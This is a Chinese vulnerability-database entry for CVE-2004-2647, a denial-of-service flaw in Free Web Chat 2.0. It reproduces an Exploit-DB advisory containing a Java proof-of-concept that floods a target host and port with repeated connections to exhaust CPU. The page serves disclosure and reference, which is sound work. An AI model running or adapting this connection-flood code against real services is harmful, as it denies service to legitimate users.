CVE-2004-2647
CVSS5.0
发布时间 :2004-12-31 00:00:00
修订时间 :2016-10-17 23:07:17
NMCOE    

[原文]Free Web Chat 2.0 allows remote attackers to cause a denial of service (CPU consumption) via multiple connections from the same user.


[CNNVD]多个Free Web Chat服务拒绝漏洞(CNNVD-200412-1006)

        Free Web Chat 2.0版本存在漏洞。远程攻击者借助来自相同用户的多个连接导致服务拒绝(CPU消耗)。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2647
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2647
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-1006
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/fulldisclosure/2004-08/0102.html
(PATCH)  FULLDISC  20040804 Multiple Vulnerabilities in Free Web Chat
http://marc.info/?l=bugtraq&m=109164397601049&w=2
(UNKNOWN)  BUGTRAQ  20040804 Multiple Vulnerabilities in Free Web Chat
http://securitytracker.com/alerts/2004/Aug/1010851.html
(PATCH)  SECTRACK  1010851
http://www.securityfocus.com/bid/10863
(UNKNOWN)  BID  10863
http://xforce.iss.net/xforce/xfdb/16901
(UNKNOWN)  XF  freewebchat-mult-connection-dos(16901)

- 漏洞信息

多个Free Web Chat服务拒绝漏洞
中危 设计错误
2004-12-31 00:00:00 2005-12-21 00:00:00
远程  
        Free Web Chat 2.0版本存在漏洞。远程攻击者借助来自相同用户的多个连接导致服务拒绝(CPU消耗)。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (24352)

Free Web Chat Initial Release Connection Saturation DoS (EDBID:24352)
multiple dos
2004-08-04 Verified
0 Donato Ferrante
N/A [点击下载]
source: http://www.securityfocus.com/bid/10863/info
 
Free Web Chat server is reported prone to multiple denial of service vulnerabilities. The following issues are reported:
 
The first denial of service vulnerability reported results from a lack of sufficient sanitization performed on username data. It is reported that a user with a void name may be added. This action will result in a NullPointerException.
 
A remote attacker may exploit this vulnerability to deny service to legitimate users.
 
The second denial of service vulnerability is reported to exist due to resource consumption. It is reported that the Free Web Chat server does not properly manage multiple connections that originate from the same location.
 
A remote attacker may exploit this vulnerability to deny service to legitimate users.


/*
     Free Web Chat (Initial Release)- Resources Consumption - Proof Of Concept
     Coded by: Donato Ferrante
*/



import java.io.PrintStream;
import java.net.Socket;
import java.net.InetAddress;
import java.net.ConnectException;





public class FreeWebChat_ir_RC_poc {


final static String VERSION = "0.1";
final static int MAX_CONN = 20;



	
public static void main(String [] args){
	
	
   System.out.println(
                      "\n\nFree Web Chat - Resources Consumption - Proof Of Concept\n" +
                      "Version: " + VERSION + "\n\n"                 +
                      "coded by: Donato Ferrante\n"                  +
                      "e-mail:   fdonato@autistici.org\n"            +
                      "web:      www.autistici.org/fdonato\n\n"
                    );

   String host = "";
   int port = 0;

	if(args.length < 2){

		System.out.println("Usage: <host> <port>\n\n");
		System.exit(-1);

	}
	
	try{
		
		host = args[0];
		port = (new Integer(args[1])).intValue();
		
	}catch(Exception e){System.exit(-1);}
	
	
	try{

	   int i = 0;
	   while(i++ <= MAX_CONN){
			
			try{

        		InetAddress addr = InetAddress.getByName(host);
        		Socket socket = new Socket(addr, port);

        		PrintStream printStream = new PrintStream(socket.getOutputStream());
        		printStream.println("test");
        		printStream.close();
				
    
			}catch(ConnectException ce){System.out.println(ce); System.exit(-1);}
		}
			
	}catch(Exception e){System.out.println(e); System.exit(-1);}
	
	
	System.out.println("\nFree_Web_Chat - Resources Consumption - Proof_Of_Concept terminated.\n\n");
	
	}	
	
	
}

		

- 漏洞信息

8370
Free Web Chat Connection Saturation DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Availability
Exploit Public

- 漏洞描述

Free Web Chat contains a flaw that may allow a remote denial of service. The issue is triggered when a remote attacker established excessive connections tot he service, and will result in loss of availability for the platform.

- 时间线

2004-08-04 Unknow
2004-08-04 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Donato Ferrante has released an unofficial patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

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